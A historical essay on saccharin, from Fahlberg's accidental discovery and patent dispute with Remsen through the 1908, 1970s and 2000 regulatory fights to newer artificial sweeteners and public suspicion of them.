One night that June, after a day of laboratory work, Fahlberg sat down to dinner. He picked up a roll with his hand and bit into a remarkably sweet crust. Fahlberg had literally brought his work home with him, having spilled an experimental compound over his hands earlier that day. He ran back to Remsen’s laboratory, where he tasted everything on his worktable—all the vials, beakers, and dishes he used for his experiments. Finally he found the source: an overboiled beaker in which o-sulfobenzoic acid had reacted with phosphorus (V) chloride and ammonia, producing benzoic sulfinide. Though Falhberg had previously synthesized the compound by another method, he had no reason to taste the result. Serendipity had provided him with the first commercially viable alternative to cane sugar.
Remsen and Fahlberg published a joint article describing two methods of saccharin synthesis in February 1879. Though they specifically noted its taste—“even sweeter than cane sugar”—neither discoverer seemed interested in its commercial potential.
At least not initially. In 1884, after he had left Remsen’s lab and without notifying his codiscoverer, Fahlberg applied for German and American patents on a new method for producing saccharin more cheaply and in greater quantities. Remsen had long disdained industrial chemistry, considering himself a man of pure science. In 1886, though, Fahlberg filed another set of patents, claiming to be the sole discoverer of “Fahlberg’s saccharin.” Remsen, who wanted recognition rather than money, immediately protested to the chemistry community.
With his newly patented production method Fahlberg set up shop in New York City, where he and one employee produced five kilograms of saccharin a day for use as a drink additive. Offered in pill and powder form, saccharin’s popularity grew quickly. Doctors began to prescribe it to treat headaches, nausea, and corpulence. (Like sugar before it, saccharin became an all-purpose curative.) Canners used it as a preservative; diabetics used it to sweeten coffee or tea.
As saccharin use rose, consumers, regulators, and competitors began to question its supposed harmlessness. Fahlberg had tested saccharin in late 1882. After consuming 10 grams of the chemical, he waited 24 hours and experienced no adverse reactions. In fact, his body barely responded: almost the entire dose passed unmetabolized into his urine.
But by 1906, in response to such food-industry horror stories as Upton Sinclair’s The Jungle, Americans demanded government intervention. Thus Congress passed the Pure Food and Drug Act, the first attempt to regulate the nation’s food supply.
Enforcement of the new law fell to the Department of Agriculture’s Bureau of Chemistry and its head chemist, Harvey Washington Wiley. He had long crusaded to rein in what he saw as an out-of-control food industry. In 1908 Wiley proposed the first saccharin ban, taking his case straight to President Theodore Roosevelt.
Wiley’s stature as a chemist and sugar expert should have carried the day. In his meeting with Roosevelt he argued that saccharin, as a coal-tar derivative, couldn’t possibly be fit for human consumption—though at this point the scientific evidence remained inconclusive. A factory owner responded that his company had saved thousands of dollars by replacing sugar with saccharin. Wiley countered that saccharin threatened the health of everyone who consumed it. Roosevelt gruffly settled the matter, saying, “Anyone who says saccharin is injurious to health is an idiot. Dr. Rixey gives it to me every day.” Regulatory science, in the form of Wiley, had collided with industrial market priorities; the anecdotal evidence of a single influential consumer—President Roosevelt, whose personal physician had prescribed saccharin to help his patient slim down—had trumped both.
In the years to come this pattern would repeat itself. Uncertain science provoked regulatory action—dismaying major segments of industry and the public, while invigorating those who saw regulators as protectors of the public welfare. Industry and regulators each had their own scientists and often their own incompatible sets of scientific evidence. The notion of scientific consensus began to break down as questions of safety became more complicated; the relationship between industry and regulators grew antagonistic as medical evidence became less conclusive and more open to interpretation.
With scientific consensus on safety issues no longer tenable, regulations would be increasingly made in public, often by the public—those consumers who considered themselves just as capable of interpreting the evidence as the so-called experts. For saccharin this regulation by the public reached its apogee in the 1970s, but the pattern had established itself as early as 1908.
The Rise of Saccharin and Scientific Controversy
Partly in response to growing unease among regulators and the public, Congress passed the Food Additives Amendment in 1958. In preparing its legislation Congress heard testimony from members of the scientific community. For the first time in connection with food additives, scientists used the c-word: cancer. Representative James J. Delaney, a Democrat from New York, pushed hard for the addition of language specifically outlawing carcinogens. In its final form the “Delaney Clause” required the U.S. Food and Drug Administration (FDA) to prohibit the use of carcinogenic substances in food. Seemingly uncontroversial at the time—who would support adding cancer-causing agents to food?—it later proved contentious. Legislators had disastrously underestimated the data necessary to definitively declare a substance carcinogenic.
The same year, the Cumberland Packing Corporation introduced Sweet’N Low, a mixture of saccharin and cyclamate, another artificial sweetener. The two chemicals balanced each other, with cyclamate blunting the bitter aftertaste of saccharin. Sweet’N Low arguably tasted more like real sugar, and those little pink packets brought artificial sweeteners into diners and coffee shops. Meanwhile, the use of artificial sweeteners continued to increase among weight-conscious consumers. Between 1963 and 1967 artificially sweetened soft drinks (Coca-Cola’s Tab, for example) nearly tripled their market share, growing to over 10% of the soda market.
In 1882 Constantin Fahlberg had declared saccharin harmless because he suffered no adverse effects 24 hours after taking a single dose. Similarly, Harvey Washington Wiley’s turn-of-the-century “poison squads” had declared a substance safe if the tester—a human guinea pig—remained healthy after ingestion. But post–World War II health science had begun investigating subtler, long-term effects. Research methodology had changed accordingly: studies observed a longer span of time, for example, and tried to control for a wider range of variables. Researchers shifted away from unstructured human testing toward animal testing that included control groups. Such research produced more and better data but increased complexity. No longer could a substance be labeled simply “poison” or “not poison.” The results of these sophisticated tests demanded sophisticated interpretation.
In the late 1960s three trends converged: increasing government regulation in the food-processing industry, the rise of artificial sweeteners, and the growing complexity and sophistication of health science. One of the first results of this convergence was the ban on cyclamate. Two 1968 studies linked the chemical to bladder cancer. The FDA cited the Delaney Clause in recommending a ban, which was enacted the following year. That left only one artificial sweetener on the market: saccharin. In 1970 oncologists at the University of Wisconsin Medical School published the results of a clinical study showing a higher instance of bladder cancer among rats who consumed saccharin daily. Subsequent tests seemed to support the initial results, and in 1972 the FDA removed saccharin from the list of food additives “generally recognized as safe.” Peter B. Hutt, chief legal counsel for the FDA, stated that, “If it causes cancer—whether it’s 875 bottles a day or 11—it’s going off the market.”
Saccharin producers and commercial consumers recognized the FDA’s move as a precursor to an outright ban. Large chemical companies—Monsanto, Sherwin-Williams, and Lakeway Chemicals—began assembling their own evidence to oppose prohibition. Soda companies expected a painful financial hit, as did makers of diet food. But they also knew the process could take years, as the FDA ordered new tests, analyzed the data, and—crucially—responded to public and political pressure.
By 1977 a saccharin ban looked likely. The Cumberland Packing Corporation, which had presciently reformulated Sweet’N Low in the shadow of the cyclamate ban, vowed to fight any regulation. Marvin Eisenstadt, the president of the company, appeared on television and radio to argue his case. He denied the scientific validity of animal testing and declared access to saccharin a consumer right. He helped draft a two-page ad from the Calorie Control Council, the industry group he headed. The ad appeared in the New York Times explaining “why the proposed ban on saccharin is leaving a bad taste in a lot of people’s mouths.” The ad described the ban as “another example of BIG GOVERNMENT” and recommended action. “Fortunately, we can all conduct our own experiment in this matter. It’s called an experiment in democracy. . . . Write or call your congressman today and let him know how you feel about a ban on saccharin.”
In the week after the saccharin ban went into effect in 1977, Congress received more than a million letters. Marvin Eisenstadt and other public relations–savvy producers had turned the saccharin debate into a PR operation, and the public had responded. The Delaney Clause, as the FDA interpreted it, required a ban on any known carcinogen in the food supply. But the original legislation failed to account for the complexity of scientific data. The clause’s premise of scientific consensus based on objective evidence and shared expertise no longer applied to the real world, if it ever had. Scientists couldn’t agree on fundamental questions: What is a carcinogen? What daily dosage of a chemical might be reasonable for testing toxicity? Did the elevated risk of cancer in rats translate to an elevated risk in humans? Health science couldn’t yet answer those questions definitively. But in the absence of incontrovertible scientific evidence, Marvin Eisenstadt could frame the debate as average citizens versus an encroaching big government.
The FDA understood the weakness of the existing laws and breathed a sigh of relief when, a week after the ban, Senator Ted Kennedy of the Senate Subcommittee on Health and Scientific Research moved to forestall the ban. The Saccharin Study and Labeling Act passed that year, declaring that all saccharin products would carry a warning label. It also imposed a two-year moratorium on any government action to remove saccharin from the market. More studies were needed, according to Congress.
In response, Sweet’N Low sales skyrocketed. Those sales included longtime buyers stocking up in case of a ban, but the free publicity also brought in new customers. By 1979, 44 million Americans used saccharin daily. Consumers voted with their dollars.
By 1979, 44 million Americans used saccharin daily.
Congress renewed the moratorium every two years until 2000, when a National Institute of Environmental Health Sciences (NIEHS) study declared the earlier research invalid. The high dosages of saccharin given to the rats were a poor analog for human consumption, as rat digestion works differently from that of humans. The NIEHS recommended that Congress repeal the Labeling Act, officially declaring saccharin safe for human consumption.
Finally, though, it wasn’t government regulation that toppled saccharin from its throne as king of the artificial sweeteners—at least not directly. The threat of a saccharin ban led producers to research alternatives. While saccharin—300 times sweeter than sugar—languished in the shadow of a potential ban, a new generation of artificial sweeteners flourished. In 1965 aspartame, which is 200 times sweeter than sugar, was discovered; in 1976 sucralose—600 times sweeter; and in 2002 neotame—7,000 to 13,000 times sweeter than sugar. Today, saccharin, once the undisputed king of artificial sweeteners, lags behind its newer counterparts, replaced by the next sweetest thing.
Sweet and Sour: A History of Controversy
From the beginning Americans have had mixed feelings about artificial sweetness. Saccharin originally appealed to frugal consumers. As Americans became more diet conscious, it became the no-calorie alternative to sugar. Those weight watchers wanted sweetness without consequences and manufacturers obliged. Newer, sweeter compounds appeared in saccharin’s wake.
But while eagerly embracing these improvements, many remain suspicious about chemicals in their food. Stores like Whole Foods Market, movies like Super Size Me, and books like Michael Pollan’s The Omnivore’s Dilemma exemplify the turn away from industrialized, processed food.
The organic-food movement revives a long-held suspicion about how our food reaches our dinner tables. It also evokes a suspicion of science, specifically the nightmare image of Frankenfood. When it comes to food, Americans want the benefits of scientific progress but without all that science: better, faster, more—but it has to be “all natural.”
That contradiction has played a major role in the history of artificial sweeteners. All three “first-generation” sweeteners—cyclamate, saccharin, and aspartame—have been linked to negative health effects. Cyclamate, introduced in 1951, was banned in the United States in 1970. The cyclamate ban reinvigorated the debate over saccharin’s safety, leading to the Saccharin Study and Labeling Act. And aspartame, introduced in 1981, was linked to a supposed increase in brain tumors.
In all three cases researchers later declared the products safe. But the debate over safety received much press attention, and suspicion about artificial sweeteners has seeped into the collective consciousness. A Google search for any of the recently developed artificial sweeteners—acesulfame-K, sucralose, alitame, and neotame—invariably yields Web pages devoted to “the truth” about these chemicals.
Some of these pages are well-intentioned, if often misinformed or simplistic. Others have less noble agendas. One example, thetruthaboutsplenda.com asks, “Do you know what your children are eating?” The site answers that “Splenda is not natural; it is a chlorinated artificial sweetener.” True, depending on the definition of natural in use and certainly effective in raising consumer suspicions. And who is the unbiased party helping spread the truth about Splenda? The Sugar Association, representing sugar-beet and sugar-cane producers across America.
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